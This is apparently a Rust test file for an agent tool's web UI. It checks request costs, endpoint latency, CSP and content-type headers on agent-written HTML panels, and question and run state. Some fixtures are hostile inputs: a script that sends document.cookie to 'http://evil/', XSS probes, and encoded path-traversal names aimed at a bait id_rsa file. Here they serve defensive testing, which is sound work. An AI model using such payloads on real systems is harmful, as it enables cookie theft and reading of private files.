9309 async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
9311 request_bytes(self.addr, path, headers, body).await
9312 }
9313 }
9314
9315 async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
9318 let tmp = TempDir::new().unwrap();
9319 let mut repos = Vec::new();
9320 for name in ["one", "two"] {
9321 let repo = tmp.path().join(name);
9322 let origin = tmp.path().join(format!("{name}.git"));
9323 std::fs::create_dir_all(&repo).unwrap();
9324 crate::git::git(&repo, &["init", "-b", "main"])
9325 .await
9326 .unwrap();
9327 std::fs::write(
9328 repo.join("magi.toml"),
9329 format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
9330 )
9331 .unwrap();
9332 crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
9333 crate::git::git(
9334 &repo,
9335 &[
9336 "-c",
9337 "user.name=fixture",
9338 "-c",
9339 "user.email=fixture@example.invalid",
9340 "commit",
9341 "-m",
9342 "fixture",
9343 ],
9344 )
9345 .await
9346 .unwrap();
9347 crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
9348 .await
9349 .unwrap();
9350 crate::git::git(
9351 &repo,
9352 &["remote", "add", "origin", origin.to_str().unwrap()],
9353 )
9354 .await
9355 .unwrap();
9356 crate::git::git(&repo, &["push", "origin", "main"])
9357 .await
9358 .unwrap();
9359 crate::git::git(
9360 &repo,
9361 &[
9362 "symbolic-ref",
9363 "refs/remotes/origin/HEAD",
9364 "refs/remotes/origin/main",
9365 ],
9366 )
9367 .await
9368 .unwrap();
9369 let (cfg, _) = Config::discover(&repo, None).unwrap();
9370 assert!(cfg.agents.iter().any(|a| a.id == "mock"));
9371 repos.push(repo);
9372 }
9373 let repos: [PathBuf; 2] = repos.try_into().unwrap();
9374 (tmp, repos)
9375 }
9376
9377 async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
9378 let (tmp, repos) = performance_repositories().await;
9379 let machine = tmp.path().join("machine.toml");
9380 std::fs::write(&machine, "").unwrap();
9381 let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
9382 (tmp, repos, fx)
9383 }
9384
9385 fn seed_performance(
9386 fx: &Fixture,
9387 repos: &[PathBuf; 2],
9388 questions: usize,
9389 runs: usize,
9390 items: usize,
9391 ) {
9392 for i in fx.questions().list().len()..questions {
9394 let mut question = Question::new(
9395 "20261001-000000-0000".into(),
9396 "implement".into(),
9397 "impl-A".into(),
9398 format!("question {i}"),
9399 "context".into(),
9400 vec!["yes".into(), "no".into()],
9401 );
9402 question.id = format!("20261003-000000-{i:04x}");
9403 fx.questions().put(&mut question).unwrap();
9404 }
9405 for i in run_ids(&fx.runs()).len()..runs {
9406 write_run_repo(
9407 &fx.runs(),
9408 &format!("20261001-000000-{i:04x}"),
9409 RunStatus::Ready,
9410 repos[i % 2].to_str().unwrap(),
9411 );
9412 }
9413 for i in fx.talks().list().len()..items {
9414 let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
9415 let mut talk = fx.talks().get(&id).unwrap();
9416 talk.repo = repos[i % 2].clone();
9417 fx.talks().put(&mut talk).unwrap();
9418 let mut task = crate::queue::Task::new(
9419 format!("task {i}"),
9420 "instruction".into(),
9421 repos[i % 2].clone(),
9422 crate::queue::Source::Agent {
9423 run: id,
9424 node: crate::queue::CHAT_NODE.into(),
9425 },
9426 );
9427 task.id = format!("20261004-000000-{i:04x}");
9428 fx.queue().put(&mut task).unwrap();
9429 if i < crate::notices::CAP {
9431 Notices::at(fx.home.path().join("notifications"))
9432 .raise(Notice::info(&format!("notice-{i}"), "notification"))
9433 .unwrap();
9434 }
9435 }
9436 assert_eq!(fx.questions().list().len(), questions);
9437 assert_eq!(run_ids(&fx.runs()).len(), runs);
9438 assert_eq!(fx.talks().list().len(), items);
9439 assert_eq!(fx.queue().list().len(), items);
9440 assert_eq!(
9441 Notices::at(fx.home.path().join("notifications"))
9442 .list()
9443 .len(),
9444 items.min(crate::notices::CAP)
9445 );
9446 }
9447
9448 fn request_counts(res: &Res) -> (usize, usize) {
9449 assert_eq!(res.status, 200, "{}", res.body);
9450 (
9451 res.header("x-test-discoveries").unwrap().parse().unwrap(),
9452 res.header("x-test-git").unwrap().parse().unwrap(),
9453 )
9454 }
9455
9456 #[tokio::test]
9457 async fn list_request_cost_is_independent_of_record_count() {
9458 let (_tmp, repos, fx) = performance_fixture().await;
9459 let mut previous = None;
9460 for n in [4, 60] {
9461 seed_performance(&fx, &repos, n, n, n);
9462 let mut costs = Vec::new();
9463 for (path, discoveries) in [
9464 ("/api/questions", 1),
9465 ("/api/talks", 2),
9466 ("/api/health", 1),
9467 ("/api/stats", 1),
9468 ] {
9469 for repo in &repos {
9472 let cache = repo.join(".git/magi/config");
9473 if cache.exists() {
9474 std::fs::remove_dir_all(cache).unwrap();
9475 }
9476 }
9477 let cost = request_counts(&fx.get(path).await);
9478 eprintln!("{path} N={n}: discoveries={} git={}", cost.0, cost.1);
9479 assert_eq!(cost.0, discoveries, "{path}, N={n}");
9480 assert!(cost.1 > 0 && cost.1 <= 40, "{path}: {cost:?}");
9481 costs.push(cost);
9482 }
9483 if let Some(previous) = previous {
9484 assert_eq!(costs, previous);
9485 }
9486 previous = Some(costs);
9487 }
9488 }
9492
9493 #[tokio::test]
9496 async fn list_handler_cost_without_transport() {
9497 let (_tmp, repos) = performance_repositories().await;
9498 let fx = Fixture {
9499 home: TempDir::new().unwrap(),
9500 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
9501 };
9502 let ui = Arc::new(
9503 Ui::new(
9504 fx.queue(),
9505 fx.questions(),
9506 fx.talks(),
9507 fx.runs(),
9508 fx.home.path().to_path_buf(),
9509 repos[0].clone(),
9510 )
9511 .with_worktrees_root(fx.home.path().join("wt")),
9512 );
9513 let mut previous = None;
9514 for (n, runs, items) in [(4, 4, 4), (60, 60, 60), (200, 300, 400)] {
9515 seed_performance(&fx, &repos, n, runs, items);
9516 let mut costs = Vec::new();
9517 for endpoint in ["questions", "talks", "health", "stats"] {
9518 for repo in &repos {
9519 let cache = repo.join(".git/magi/config");
9520 if cache.exists() {
9521 std::fs::remove_dir_all(cache).unwrap();
9522 }
9523 }
9524 let (_, cost) = request_cost::measure(async {
9525 match endpoint {
9526 "questions" => {
9527 let _ = questions_list(State(ui.clone())).await.unwrap();
9528 }
9529 "talks" => {
9530 let _ = talks_list(
9531 State(ui.clone()),
9532 Query(ListQuery {
9533 limit: None,
9534 ids: None,
9535 }),
9536 )
9537 .await
9538 .unwrap();
9539 }
9540 "health" => {
9541 let _ = health(State(ui.clone())).await.unwrap();
9542 }
9543 _ => {
9544 let _ = stats_get(State(ui.clone()), Query(StatsQuery::default()))
9545 .await
9546 .unwrap();
9547 }
9548 }
9549 })
9550 .await;
9551 eprintln!("{endpoint} handler N={n}: {cost:?}");
9552 assert_eq!(
9553 cost.0,
9554 if endpoint == "talks" { 2 } else { 1 },
9555 "{endpoint}"
9556 );
9557 assert!(cost.1 > 0 && cost.1 <= 40, "{endpoint}: {cost:?}");
9558 costs.push(cost);
9559 }
9560 if let Some(previous) = previous {
9561 assert_eq!(costs, previous);
9562 }
9563 previous = Some(costs);
9564 }
9565 }
9566
9567 #[tokio::test]
9568 async fn list_request_cost_scopes_do_not_mix() {
9569 let (_tmp, repos, fx) = performance_fixture().await;
9570 seed_performance(&fx, &repos, 10, 0, 10);
9571 let (questions, talks, notices) = tokio::join!(
9572 fx.get("/api/questions"),
9573 fx.get("/api/talks"),
9574 fx.get("/api/notifications")
9575 );
9576 assert_eq!(request_counts(&questions).0, 1);
9577 assert_eq!(request_counts(&talks).0, 2);
9578 assert_eq!(request_counts(¬ices), (0, 0));
9579 }
9580
9581 #[tokio::test]
9582 async fn list_endpoints_large_home_ceiling() {
9583 let (_tmp, repos, fx) = performance_fixture().await;
9584 seed_performance(&fx, &repos, 200, 300, 400);
9585 let mut failures = Vec::new();
9586 for path in [
9589 "/",
9590 "/app.js",
9591 "/app.css",
9592 "/api/questions",
9593 "/api/runs?limit=300",
9594 "/api/queue",
9595 "/api/talks",
9596 "/api/notifications",
9597 "/api/health",
9598 "/api/stats",
9599 "/api/loop",
9600 "/api/settings",
9601 "/api/repos",
9602 ] {
9603 let start = std::time::Instant::now();
9604 let result = tokio::time::timeout(Duration::from_secs(5), fx.get(path)).await;
9605 let elapsed = start.elapsed();
9606 eprintln!("{path}: {elapsed:?}");
9607 match result {
9608 Ok(res) if res.status == 200 && elapsed <= Duration::from_secs(5) => {}
9609 Ok(res) => failures.push(format!("{path}: status {}, {elapsed:?}", res.status)),
9610 Err(_) => failures.push(format!("{path}: exceeded 5 seconds ({elapsed:?})")),
9611 }
9612 }
9613 assert!(failures.is_empty(), "{}", failures.join("\n"));
9614 }
9615
9616 struct Res {
9617 status: u16,
9618 headers: String,
9619 head: String,
9624 body: String,
9625 bytes: Vec<u8>,
9629 }
9630
9631 impl Res {
9632 fn json(&self) -> Value {
9633 serde_json::from_str(&self.body)
9634 .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
9635 }
9636
9637 fn header(&self, name: &str) -> Option<&str> {
9639 self.head.lines().find_map(|line| {
9640 let (key, value) = line.split_once(':')?;
9641 key.trim()
9642 .eq_ignore_ascii_case(name)
9643 .then(|| value.trim_start().trim_end_matches('\r'))
9644 })
9645 }
9646 }
9647
9648 async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
9651 request_with(addr, method, path, body, &[]).await
9652 }
9653
9654 async fn request_with(
9658 addr: SocketAddr,
9659 method: &str,
9660 path: &str,
9661 body: Option<&str>,
9662 extra: &[(&str, &str)],
9663 ) -> Res {
9664 let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
9665 for (name, value) in extra {
9666 head.push_str(&format!("{name}: {value}\r\n"));
9667 }
9668 if let Some(body) = body {
9669 head.push_str("Content-Type: application/json\r\n");
9670 head.push_str(&format!("Content-Length: {}\r\n", body.len()));
9671 }
9672 head.push_str("\r\n");
9673 if let Some(body) = body {
9674 head.push_str(body);
9675 }
9676 let mut socket = tokio::net::TcpStream::connect(addr)
9677 .await
9678 .expect("connect to the test server");
9679 socket
9680 .write_all(head.as_bytes())
9681 .await
9682 .expect("write request");
9683 let mut raw = Vec::new();
9684 socket.read_to_end(&mut raw).await.expect("read response");
9685 let split = raw
9688 .windows(4)
9689 .position(|w| w == b"\r\n\r\n")
9690 .expect("a header block");
9691 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
9692 let bytes = raw[split + 4..].to_vec();
9693 let status = head
9694 .lines()
9695 .next()
9696 .and_then(|line| line.split_whitespace().nth(1))
9697 .and_then(|code| code.parse().ok())
9698 .expect("a status line");
9699 Res {
9700 status,
9701 headers: head.to_lowercase(),
9702 head,
9703 body: String::from_utf8_lossy(&bytes).into_owned(),
9704 bytes,
9705 }
9706 }
9707
9708 async fn request_bytes(
9714 addr: SocketAddr,
9715 path: &str,
9716 headers: &[(&str, &str)],
9717 body: &[u8],
9718 ) -> Res {
9719 let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
9720 for (name, value) in headers {
9721 head.push_str(&format!("{name}: {value}\r\n"));
9722 }
9723 head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
9724 let mut socket = tokio::net::TcpStream::connect(addr)
9725 .await
9726 .expect("connect to the test server");
9727 socket
9728 .write_all(head.as_bytes())
9729 .await
9730 .expect("write request head");
9731 socket.write_all(body).await.expect("write request body");
9732 let mut raw = Vec::new();
9733 socket.read_to_end(&mut raw).await.expect("read response");
9734 let split = raw
9735 .windows(4)
9736 .position(|w| w == b"\r\n\r\n")
9737 .expect("a header block");
9738 let head = String::from_utf8_lossy(&raw[..split]).into_owned();
9739 let bytes = raw[split + 4..].to_vec();
9740 let status = head
9741 .lines()
9742 .next()
9743 .and_then(|line| line.split_whitespace().nth(1))
9744 .and_then(|code| code.parse().ok())
9745 .expect("a status line");
9746 Res {
9747 status,
9748 headers: head.to_lowercase(),
9749 head,
9750 body: String::from_utf8_lossy(&bytes).into_owned(),
9751 bytes,
9752 }
9753 }
9754
9755 fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
9757 let mut state = RunState::new(
9758 PathBuf::from("/repo/magi"),
9759 "main".to_owned(),
9760 "0123456789abcdef".to_owned(),
9761 "Add a web UI\n\nMobile first.".to_owned(),
9762 Config::default(),
9763 );
9764 state.id = id.to_owned();
9765 state.status = status;
9766 let dir = runs.join(id);
9767 std::fs::create_dir_all(&dir).expect("run dir");
9768 std::fs::write(
9769 dir.join("run.json"),
9770 serde_json::to_string_pretty(&state).expect("serialize run"),
9771 )
9772 .expect("write run.json");
9773 }
9774
9775 fn write_run_repo(runs: &FsPath, id: &str, status: RunStatus, repo: &str) {
9779 let mut state = RunState::new(
9780 PathBuf::from(repo),
9781 "main".to_owned(),
9782 "0123456789abcdef".to_owned(),
9783 "task".to_owned(),
9784 Config::default(),
9785 );
9786 state.id = id.to_owned();
9787 state.status = status;
9788 let dir = runs.join(id);
9789 std::fs::create_dir_all(&dir).expect("run dir");
9790 std::fs::write(
9791 dir.join("run.json"),
9792 serde_json::to_string_pretty(&state).expect("serialize run"),
9793 )
9794 .expect("write run.json");
9795 }
9796
9797 fn write_daemon(home: &FsPath, updated_at: Timestamp) {
9798 let body = serde_json::json!({
9799 "schema": 1,
9800 "pid": 4242,
9801 "started_at": Timestamp::now().to_string(),
9802 "updated_at": updated_at.to_string(),
9803 "idle": false,
9804 "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
9805 "completed": 7,
9806 "polls": 143,
9807 });
9808 std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
9809 }
9810
9811 fn launch_idle(
9821 _opts: daemon::Opts,
9822 stop: daemon::Stop,
9823 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
9824 Box::pin(async move {
9825 while !stop.stopped() {
9826 tokio::time::sleep(Duration::from_millis(2)).await;
9827 }
9828 Ok(())
9829 })
9830 }
9831
9832 fn launch_broken(
9835 _opts: daemon::Opts,
9836 _stop: daemon::Stop,
9837 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
9838 static CALLS: std::sync::atomic::AtomicUsize = std::sync::atomic::AtomicUsize::new(0);
9843 let first = CALLS.fetch_add(1, std::sync::atomic::Ordering::SeqCst) == 0;
9844 Box::pin(async move {
9845 Err(anyhow::anyhow!(if first {
9846 "publish the daemon status file: read-only file system"
9847 } else {
9848 "the restarted stand-in failed as well"
9849 }))
9850 })
9851 }
9852
9853 static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
9860 static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
9861
9862 fn launch_knocking_on_the_way_out(
9869 _opts: daemon::Opts,
9870 stop: daemon::Stop,
9871 ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
9872 Box::pin(async move {
9873 while !stop.stopped() {
9874 tokio::time::sleep(Duration::from_millis(2)).await;
9875 }
9876 let addr = PARK_KNOCK
9877 .lock()
9878 .expect("park knock")
9879 .expect("the test set an address");
9880 let heard = request(addr, "GET", "/api/health", None).await.status;
9881 *PARK_HEARD.lock().expect("park heard") = Some(heard);
9882 Ok(())
9883 })
9884 }
9885
9886 async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
9895 for _ in 0..SETTLE_STEPS {
9896 let view = fx.get("/api/loop").await.json();
9897 if want(&view) {
9898 return view;
9899 }
9900 tokio::time::sleep(Duration::from_millis(10)).await;
9901 }
9902 panic!(
9903 "the loop never settled: {}",
9904 fx.get("/api/loop").await.json()
9905 );
9906 }
9907
9908 fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
9910 let store = fx.questions();
9911 let mut q = Question::new(
9912 "20260902-000000-beef".to_owned(),
9913 "implement".to_owned(),
9914 "impl-A".to_owned(),
9915 summary.to_owned(),
9916 "because it matters".to_owned(),
9917 choices.iter().map(|c| (*c).to_owned()).collect(),
9918 );
9919 store.put(&mut q).expect("put question");
9920 q.id
9921 }
9922
9923 fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
9929 let store = fx.questions();
9930 let mut q = Question::new(
9931 "20260902-000000-beef".to_owned(),
9932 "land".to_owned(),
9933 "fix".to_owned(),
9934 "Merge this?".to_owned(),
9935 "the diff is in the panel".to_owned(),
9936 vec!["merge".to_owned(), "hold".to_owned()],
9937 );
9938 let staging = fx.home.path().join("staging");
9941 std::fs::create_dir_all(&staging).expect("staging dir");
9942 let sources: Vec<PathBuf> = assets
9943 .iter()
9944 .map(|(name, bytes)| {
9945 let path = staging.join(name);
9946 std::fs::write(&path, bytes).expect("write staged asset");
9947 path
9948 })
9949 .collect();
9950 store
9951 .put_panel(&mut q, html, &sources)
9952 .expect("write the panel");
9953 store.put(&mut q).expect("put question");
9954 q.id
9955 }
9956
9957 fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
9966 seed_talk_at(&fx.talks(), id, status)
9967 }
9968
9969 fn seed_talk_at(store: &Talks, id: &str, status: &str) -> String {
9970 std::fs::create_dir_all(store.root()).expect("talks dir");
9971 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
9972 .expect("serialize a seat");
9973 let body = serde_json::json!({
9974 "schema": 1,
9975 "id": id,
9976 "repo": "/repo/magi",
9977 "agent": "mock",
9978 "status": status,
9979 "turns": [],
9980 "created_at": Timestamp::now().to_string(),
9981 "updated_at": Timestamp::now().to_string(),
9982 "seat": seat,
9983 });
9984 std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
9985 store.get(id).expect("the seeded talk has to be readable");
9986 id.to_owned()
9987 }
9988
9989 #[tokio::test]
9990 async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
9991 let fx = Fixture::start().await;
9992 let id = panel(
9993 &fx,
9994 "<h1>Merge?</h1><img src=\"diff.svg\">",
9995 &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
9996 );
9997
9998 for path in [
9999 format!("/api/questions/{id}/panel"),
10000 format!("/api/questions/{id}/asset/diff.svg"),
10001 ] {
10002 let res = fx.get(&path).await;
10003 assert_eq!(res.status, 200, "{path}: {}", res.body);
10004 assert_eq!(
10010 res.header("content-security-policy"),
10011 Some(
10012 "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
10013 font-src data:; base-uri 'none'; form-action 'none'; \
10014 frame-ancestors 'self'"
10015 ),
10016 "{path} is the only thing between a hostile panel and the tailnet"
10017 );
10018 assert_eq!(
10019 res.header("x-content-type-options"),
10020 Some("nosniff"),
10021 "{path}: a browser must not re-decide the type we sent"
10022 );
10023 assert_eq!(
10024 res.header("referrer-policy"),
10025 Some("no-referrer"),
10026 "{path}: a panel must not leak the question id off the machine"
10027 );
10028
10029 let pre = fx.head(&path).await;
10034 assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
10035 assert_eq!(
10036 pre.header("content-security-policy"),
10037 res.header("content-security-policy"),
10038 "{path}: the preflight carries the same policy"
10039 );
10040 assert_eq!(
10041 pre.header("content-type"),
10042 res.header("content-type"),
10043 "{path}: the preflight carries the same type"
10044 );
10045 }
10046 }
10047
10048 #[tokio::test]
10049 async fn a_panel_reaches_the_browser_byte_for_byte() {
10050 let fx = Fixture::start().await;
10051 let html = "<h1>Merge?</h1><p>a < b — 変更</p><script>alert(1)</script>";
10056 let id = panel(&fx, html, &[]);
10057
10058 let res = fx.get(&format!("/api/questions/{id}/panel")).await;
10059
10060 assert_eq!(res.status, 200);
10061 assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
10062 assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
10063 assert_eq!(
10064 res.header("content-disposition"),
10065 None,
10066 "the panel itself is rendered in the frame, not downloaded"
10067 );
10068 }
10069
10070 #[tokio::test]
10071 async fn an_svg_asset_is_a_download_and_a_png_is_not() {
10072 let fx = Fixture::start().await;
10073 let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
10074 let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
10075 let id = panel(
10076 &fx,
10077 "<img src=\"diff.svg\"><img src=\"shot.png\">",
10078 &[("diff.svg", svg), ("shot.png", png)],
10079 );
10080
10081 let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
10082 let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
10083
10084 assert_eq!(as_svg.status, 200);
10085 assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
10086 assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
10091
10092 assert_eq!(as_png.status, 200);
10093 assert_eq!(as_png.header("content-type"), Some("image/png"));
10094 assert_eq!(
10095 as_png.header("content-disposition"),
10096 None,
10097 "a raster image has no execution surface, so tapping it still shows it"
10098 );
10099 assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
10100 }
10101
10102 #[tokio::test]
10103 async fn an_html_asset_is_never_served_as_html() {
10104 let fx = Fixture::start().await;
10105 let id = panel(
10106 &fx,
10107 "<p>see the notes</p>",
10108 &[
10109 (
10110 "notes.html",
10111 b"<script>fetch('http://evil/'+document.cookie)</script>",
10112 ),
10113 ("hook.js", b"fetch('http://evil/')"),
10114 ("data.json", b"{}"),
10115 ("HEADLINE.TXT", b"plain"),
10116 ],
10117 );
10118
10119 for name in ["notes.html", "hook.js", "data.json"] {
10120 let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
10121 assert_eq!(res.status, 200, "{name}: {}", res.body);
10122 assert_eq!(
10127 res.header("content-type"),
10128 Some("application/octet-stream"),
10129 "{name} must not be a type the browser will execute or render"
10130 );
10131 }
10132 let txt = fx
10135 .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
10136 .await;
10137 assert_eq!(
10138 txt.header("content-type"),
10139 Some("text/plain; charset=utf-8")
10140 );
10141 }
10142
10143 #[tokio::test]
10144 async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
10145 let fx = Fixture::start().await;
10146 let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
10147 std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
10151
10152 for encoded in [
10159 "%2e%2e%2fid_rsa",
10160 "..%2fid_rsa",
10161 "..%5cid_rsa",
10162 "%2e%2e%5cid_rsa",
10163 "diff%00.svg",
10164 "..",
10165 ".hidden",
10166 "%2e%2e%2f%2e%2e%2fid_rsa",
10167 ] {
10168 let res = fx
10169 .get(&format!("/api/questions/{id}/asset/{encoded}"))
10170 .await;
10171 assert_eq!(
10172 res.status, 400,
10173 "`{encoded}` has to be refused by name, not looked up: {}",
10174 res.body
10175 );
10176 assert!(res.json()["error"].is_string(), "{}", res.body);
10177 }
10178
10179 for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
10185 let res = fx
10186 .get(&format!("/api/questions/{id}/asset/{literal}"))
10187 .await;
10188 assert_eq!(
10189 res.status, 404,
10190 "`{literal}` must not match the asset route at all: {}",
10191 res.body
10192 );
10193 }
10194 }
10195
10196 #[tokio::test]
10197 async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
10198 let fx = Fixture::start().await;
10199 let plain = ask(&fx, "Which backend?", &["SQLite"]);
10200 let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
10201
10202 let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
10206 assert_eq!(none.status, 404, "{}", none.body);
10207 assert!(none.json()["error"].is_string(), "{}", none.body);
10208 assert_eq!(
10209 fx.head(&format!("/api/questions/{plain}/panel"))
10210 .await
10211 .status,
10212 404,
10213 "the preflight is the only way the client can learn this"
10214 );
10215
10216 let missing = fx
10218 .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
10219 .await;
10220 assert_eq!(missing.status, 404, "{}", missing.body);
10221 assert!(missing.json()["error"].is_string(), "{}", missing.body);
10222
10223 assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
10225 assert_eq!(
10226 fx.get("/api/questions/nope/asset/diff.svg").await.status,
10227 404
10228 );
10229 }
10230
10231 #[tokio::test]
10232 async fn a_run_with_an_open_question_reads_as_waiting() {
10233 let fx = Fixture::start().await;
10234 let run = "20260902-000000-beef".to_owned();
10235 write_run(&fx.runs(), &run, RunStatus::Implementing);
10236
10237 let before = fx.get("/api/runs").await.json();
10238 assert_eq!(before[0]["waiting"], false, "{before}");
10239
10240 let store = fx.questions();
10241 let mut q = Question::new(
10242 run.clone(),
10243 "implement".to_owned(),
10244 "impl-A".to_owned(),
10245 "Which backend?".to_owned(),
10246 String::new(),
10247 vec!["SQLite".to_owned()],
10248 );
10249 store.put(&mut q).expect("put");
10250
10251 let during = fx.get("/api/runs").await.json();
10252 assert_eq!(during[0]["waiting"], true, "{during}");
10253
10254 q.answer(Answer::Choice("SQLite".to_owned()))
10257 .expect("answer");
10258 store.put(&mut q).expect("put");
10259 let after = fx.get("/api/runs").await.json();
10260 assert_eq!(after[0]["waiting"], false, "{after}");
10261 }
10262
10263 #[tokio::test]
10264 async fn an_open_question_is_listed_and_counted_by_health() {
10265 let fx = Fixture::start().await;
10266 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 0);
10267
10268 let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
10269 let listed = fx.get("/api/questions").await.json();
10270 assert_eq!(listed.as_array().expect("array").len(), 1);
10271 assert_eq!(listed[0]["id"], id);
10272 assert_eq!(listed[0]["status"], "open");
10273 assert_eq!(listed[0]["choices"][1], "Redis");
10274 assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
10277 }
10278
10279 fn obsolete_approval_state() -> RunState {
10280 let mut state = crate::land::tests::repair_state(true, true);
10281 state.pr = Some(crate::run::PrRecord {
10282 url: "https://github.com/example/repo/pull/42".into(),
10283 number: 42,
10284 state: "open".into(),
10285 checks: "green".into(),
10286 round: 1,
10287 rounds: 4,
10288 red_at_merge: Vec::new(),
10289 });
10290 state
10291 }
10292
10293 #[tokio::test]
10294 async fn obsolete_approval_answer_handler_persists_retirement_for_each_owner_shape() {
10295 for owner in ["missing", "current", "completed", "later"] {
10296 let fx = Fixture {
10297 home: TempDir::new().unwrap(),
10298 addr: SocketAddr::from((Ipv4Addr::LOCALHOST, 0)),
10299 };
10300 let mut state = obsolete_approval_state();
10301 state.status = RunStatus::Landing;
10302 state.parked = true;
10303 state.driver_exited = true;
10304 let mut q = Question::new(
10305 state.id.clone(),
10306 crate::land::APPROVAL_NODE.into(),
10307 "land".into(),
10308 "Old approval".into(),
10309 "Original evidence".into(),
10310 vec!["merge".into(), "hold".into()],
10311 );
10312 state.land_approval = Some(crate::run::LandApproval {
10313 question: q.id.clone(),
10314 head: "head".into(),
10315 });
10316 state.save_under(fx.home.path()).unwrap();
10317 let stale = state.clone();
10318 fx.questions().put(&mut q).unwrap();
10319 let mut task = Task::new(
10320 "Owner".into(),
10321 "Original instruction".into(),
10322 state.repo.clone(),
10323 Source::Human,
10324 );
10325 task.runs.push(state.id.clone());
10326 task.status = if owner == "completed" {
10327 TaskStatus::Done
10328 } else {
10329 TaskStatus::Parked
10330 };
10331 if owner == "later" {
10332 task.runs.push("later-run".into());
10333 }
10334 if owner != "missing" {
10335 fx.queue().put(&mut task).unwrap();
10336 }
10337 let ui = Arc::new(Ui::new(
10338 fx.queue(),
10339 fx.questions(),
10340 fx.talks(),
10341 fx.runs(),
10342 fx.home.path().into(),
10343 state.repo.clone(),
10344 ));
10345 let response = question_answer(
10346 State(ui),
10347 Path(q.id.clone()),
10348 Ok(Json(NewAnswer {
10349 choice: Some(crate::merge_decision::DISMISS.into()),
10350 text: None,
10351 })),
10352 )
10353 .await
10354 .unwrap();
10355 assert_eq!(
10356 response.0.question.resolution().as_deref(),
10357 Some(crate::merge_decision::DISMISS)
10358 );
10359 let disk = RunState::load_under(&state.id, fx.home.path()).unwrap();
10360 assert_eq!(disk.status, RunStatus::Superseded);
10361 assert!(crate::pr_head::ensure_owner_record(&stale, Some(&disk)).is_err());
10362 assert!(!crate::merge_decision::resumable_hold(&disk));
10363 assert_eq!(
10364 serde_json::to_value(&disk.pr).unwrap(),
10365 serde_json::to_value(&stale.pr).unwrap()
10366 );
10367 assert_eq!(fx.questions().count_open(), 0);
10368 assert!(fx.questions().get(&q.id).unwrap().chosen_action().is_none());
10369 crate::daemon::apply_choice_actions(&fx.queue(), &fx.questions(), fx.home.path());
10370 if owner == "missing" {
10371 assert!(fx.queue().list().is_empty());
10372 } else {
10373 let after = fx.queue().get(&task.id).unwrap();
10374 assert_eq!(
10375 after.status,
10376 if owner == "current" {
10377 TaskStatus::Done
10378 } else {
10379 task.status
10380 }
10381 );
10382 assert_eq!(after.runs, task.runs);
10383 assert_eq!(after.instruction, task.instruction);
10384 assert_eq!(after.action_applied(&q.id), owner == "current");
10385 }
10386 }
10387 }
10388
10389 #[tokio::test]
10390 async fn obsolete_legacy_approval_dismissal_survives_http_reconnect_without_an_owner() {
10391 let fx = Fixture::start().await;
10392 let mut state = obsolete_approval_state();
10393 state.status = RunStatus::Landing;
10394 state.parked = true;
10395 state.driver_exited = true;
10396 let mut q = Question::new(
10397 state.id.clone(),
10398 crate::land::APPROVAL_NODE.into(),
10399 "land".into(),
10400 "Superseded PR approval".into(),
10401 "Original review evidence".into(),
10402 vec!["merge".into(), "hold".into()],
10403 );
